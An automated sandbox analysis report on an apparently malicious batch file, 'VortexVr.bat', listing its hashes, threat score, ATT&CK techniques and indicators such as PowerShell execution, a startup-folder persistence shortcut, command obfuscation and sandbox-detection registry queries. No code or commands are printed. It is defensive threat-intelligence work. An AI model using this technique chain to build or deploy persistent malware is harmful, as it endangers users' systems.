2ea734933ae503051d56be88e7ea25a12c6b4853df9e72281634b06832dd09ed

Analysis

user interaction
yes
max time kernel
900s
max time network
897s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
18/08/2026, 16:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
VortexVr.bat
Size 51KB
Sample260818-twddlsxset
SHA256 2ea734933ae503051d56be88e7ea25a12c6b4853df9e72281634b06832dd09ed
MD5 a7f9711f7cdb8a2caa5087ddceb376c3
SHA1 ee4e2d11f39e7338b67be95a1ac83e5cb7936abe
SHA512 7b380a9e0ea5c55eed2de420ec911e0d0ec20262e05afc5e0d2b6ae9141d1fef9bf641dc175fdd0887d4b1dcd5bebdff80f7a4b3be964eca50e82c166ba7cb4f
SSDEEP 1536:PfZfjfHf/fpfZfjfHf/fpfZfjfHf/fpfZfjfHfufW:/
TLSH
T1E033783ADB649CD083BE39DC8A532E0629C61927C7B5655CF886049B4EEC385FB3748D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3284	powershell.exe
7844	powershell.exe
3492	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
1124	msedge.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 16 IoCs

description	ioc	Process
File created	C:\Windows\system32\wbem\Performance\WmiApRpl_new.h	WMIADAP.EXE
File created	C:\Windows\system32\wbem\Performance\WmiApRpl_new.ini	WMIADAP.EXE
File created	C:\Windows\system32\perfh00A.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfc010.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfc00A.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfc007.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfh009.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfh00C.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfh010.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfc011.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfh011.dat	WMIADAP.EXE
File created	C:\Windows\system32\PerfStringBackup.TMP	WMIADAP.EXE
File created	C:\Windows\system32\perfh007.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfc009.dat	WMIADAP.EXE
File created	C:\Windows\system32\perfc00C.dat	WMIADAP.EXE
File opened for modification	C:\Windows\system32\PerfStringBackup.INI	WMIADAP.EXE

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_280596159\automation.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_542912369\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_382182405\arbitration_metadata.txt	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_250386479\v1FieldTypes.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1634538660\ct_config.pb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1564406759\nav_config.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_418695624\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_418695624\office_endpoints_list.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_280596159\extraction.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_161026376\crl-set	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_161026376\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_250386479\autofill_bypass_cache_forms.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\Sigma\Cryptomining	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_280596159\classification.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\Mu\Content	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\Sigma\Analytics	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_2067617518\sets.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_542912369\LICENSE	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1416914495\typosquatting_list.pb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1379012302\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\Sigma\Advertising	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_2067617518\LICENSE	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_752224812\deny_etld1_domains.list	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_250386479\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\Mu\CompatExceptions	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\Mu\Fingerprinting	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\Mu\Social	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\Sigma\Entities	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\Sigma\Staging	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1634538660\crs.pb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_250386479\edge_autofill_global_block_list.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1416914495\safety_tips.pb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\Mu\Analytics	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\Mu\Entities	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\Sigma\Other	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_2067617518\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1770844920\domain_actions.dll	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1770844920\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\Mu\Advertising	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_280596159\travel-facilitated-booking-kayak.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\Sigma\Fingerprinting	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1670591323\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1983268116\protocols.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_418695624\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_382182405\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1416914495\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1379012302\data.txt	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1634538660\kp_pinslist.pb	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_542912369\keys.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_752224812\deny_domains.list	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\Mu\Staging	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\Mu\TransparentAdvertisers	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_752224812\deny_full_domains.list	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_752224812\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_2067617518\_metadata\verified_contents.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1983268116\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_1564406759\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_418695624\smart_switch_list.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_280596159\travel-facilitated-booking-bing.js	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\Mu\Cryptomining	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_280596159\manifest.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_250386479\regex_patterns.json	msedge.exe
File created	C:\Program Files\chrome_Unpacker_BeginUnzipping1124_242940363\Mu\Other	msedge.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\inf\WmiApRpl\WmiApRpl.h	WMIADAP.EXE
File opened for modification	C:\Windows\inf\WmiApRpl\WmiApRpl.h	WMIADAP.EXE
File created	C:\Windows\inf\WmiApRpl\WmiApRpl.ini	WMIADAP.EXE
File opened for modification	C:\Windows\inf\WmiApRpl\WmiApRpl.ini	WMIADAP.EXE

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1596	cmd.exe
3240	cmd.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2008	msedge.exe
736	chrome.exe

Checks processor information in registry 2 TTPs 48 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134315438939508549"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 17 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings	firefox.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1074038928-2032447174-945360078-1000\{A0E39FDB-1938-455B-8D57-9473EC73D0D0}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428	chrome.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe

Suspicious behavior: EnumeratesProcesses 55 IoCs

pid	Process
4604	powershell.exe
4604	powershell.exe
3492	powershell.exe
3492	powershell.exe
3284	powershell.exe
3284	powershell.exe
2156	powershell.exe
3896	powershell.exe
1572	chrome.exe
1572	chrome.exe
3400	powershell.exe
3400	powershell.exe
5800	powershell.exe
5800	powershell.exe
6936	powershell.exe
6936	powershell.exe
4968	powershell.exe
4968	powershell.exe
1016	powershell.exe
1016	powershell.exe
6556	powershell.exe
6556	powershell.exe
6436	powershell.exe
6436	powershell.exe
5040	powershell.exe
5040	powershell.exe
4436	powershell.exe
4436	powershell.exe
6948	powershell.exe
6948	powershell.exe
6572	powershell.exe
6572	powershell.exe
7160	powershell.exe
7160	powershell.exe
5612	powershell.exe
5612	powershell.exe
5160	powershell.exe
5160	powershell.exe
3052	powershell.exe
3052	powershell.exe
7140	powershell.exe
7140	powershell.exe
7684	powershell.exe
7684	powershell.exe
7844	powershell.exe
7844	powershell.exe
7844	powershell.exe
3292	powershell.exe
3292	powershell.exe
1572	chrome.exe
1572	chrome.exe
8592	chrome.exe
8592	chrome.exe
5296	msedge.exe
5296	msedge.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1572	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 14 IoCs

pid	Process
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1572	chrome.exe
1124	msedge.exe
1572	chrome.exe
1572	chrome.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4604	powershell.exe
Token: SeDebugPrivilege	3492	powershell.exe
Token: SeDebugPrivilege	3284	powershell.exe
Token: SeDebugPrivilege	2156	powershell.exe
Token: SeDebugPrivilege	3896	powershell.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeDebugPrivilege	3400	powershell.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeDebugPrivilege	5800	powershell.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeDebugPrivilege	1320	firefox.exe
Token: SeDebugPrivilege	1320	firefox.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeDebugPrivilege	6936	powershell.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeDebugPrivilege	1016	powershell.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeDebugPrivilege	6556	powershell.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeDebugPrivilege	6436	powershell.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeDebugPrivilege	5040	powershell.exe
Token: SeDebugPrivilege	4436	powershell.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeDebugPrivilege	6948	powershell.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeDebugPrivilege	6572	powershell.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeDebugPrivilege	7160	powershell.exe
Token: SeDebugPrivilege	5612	powershell.exe
Token: SeShutdownPrivilege	1572	chrome.exe
Token: SeCreatePagefilePrivilege	1572	chrome.exe
Token: SeDebugPrivilege	5160	powershell.exe
Token: SeShutdownPrivilege	1572	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1124	msedge.exe
1572	chrome.exe
1124	msedge.exe
1320	firefox.exe
1320	firefox.exe
1320	firefox.exe
1320	firefox.exe
1320	firefox.exe
1320	firefox.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe
1572	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1320	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1596 wrote to memory of 4604	1596	cmd.exe	86
PID 4604 wrote to memory of 3240	4604	powershell.exe	87
PID 3240 wrote to memory of 3492	3240	cmd.exe	89
PID 3240 wrote to memory of 3284	3240	cmd.exe	90
PID 3240 wrote to memory of 4332	3240	cmd.exe	91
